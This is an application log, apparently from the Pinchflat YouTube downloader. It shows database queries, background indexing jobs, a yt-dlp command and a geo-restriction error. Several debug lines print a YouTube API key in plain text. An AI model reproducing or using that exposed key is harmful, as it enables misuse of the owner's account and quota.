Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:57:05.978 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:57:05.978 [debug] QUERY OK source="settings" db=0.1ms idle=49.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.978 [debug] QUERY OK source="settings" db=0.0ms idle=49.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.978 [debug] Running yt-dlp command for action: get_media_attributes 16:57:05.996 [debug] QUERY OK source="settings" db=0.1ms idle=65.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.996 [debug] QUERY OK source="media_items" db=0.2ms idle=67.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:57:05.996 [debug] QUERY OK source="settings" db=0.1ms idle=65.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.996 [debug] QUERY OK source="settings" db=0.1ms idle=18.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.997 [debug] QUERY OK source="media_items" db=0.3ms idle=18.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:57:05.997 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/cf/c5cf5cf05bc9a5e622a94d893110c2a5fdbd8c17a5187d015a089ee28bc5d65f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:57:05.997 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800090, 42, ~U[2026-02-10 22:57:05Z], ~U[2026-02-10 22:57:05Z]] 16:57:05.997 [info] {"args":{"id":42},"id":3800051,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":69614,"event":"job:stop","queue_time":613714,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:06.003 [info] {"args":{"id":15},"id":3800052,"meta":{},"system_time":1770764226003606590,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:06.003 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:57:06.004 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.004 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:06.004 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.004 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:57:06.004 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.004 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:06.117 [debug] QUERY OK source="media_items" db=0.6ms idle=113.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 16:57:06.118 [debug] QUERY OK source="media_items" db=0.4ms idle=114.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:57:06.119 [debug] QUERY OK source="tasks" db=0.1ms idle=114.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800091, 15, ~U[2026-02-10 22:57:06Z], ~U[2026-02-10 22:57:06Z]] 16:57:06.119 [info] {"args":{"id":15},"id":3800052,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115723,"event":"job:stop","queue_time":625607,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:06.126 [info] {"args":{"id":13},"id":3800053,"meta":{},"system_time":1770764226126397668,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:06.126 [debug] QUERY OK source="sources" db=0.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:57:06.126 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.127 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:06.127 [debug] QUERY OK source="settings" db=0.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.127 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:57:06.127 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.127 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:06.310 [debug] QUERY OK source="media_items" db=0.7ms idle=182.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 16:57:06.310 [debug] QUERY OK source="media_items" db=0.2ms idle=183.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:57:06.311 [debug] QUERY OK source="tasks" db=0.1ms idle=183.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800092, 13, ~U[2026-02-10 22:57:06Z], ~U[2026-02-10 22:57:06Z]] 16:57:06.311 [info] {"args":{"id":13},"id":3800053,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185272,"event":"job:stop","queue_time":672834,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:06.317 [info] {"args":{"id":22},"id":3800054,"meta":{},"system_time":1770764226317698006,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:06.317 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:57:06.318 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.318 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:06.318 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.318 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:57:06.318 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:06.318 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:06.427 [debug] QUERY OK source="media_items" db=0.6ms idle=108.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:57:06.428 [debug] QUERY OK source="media_items" 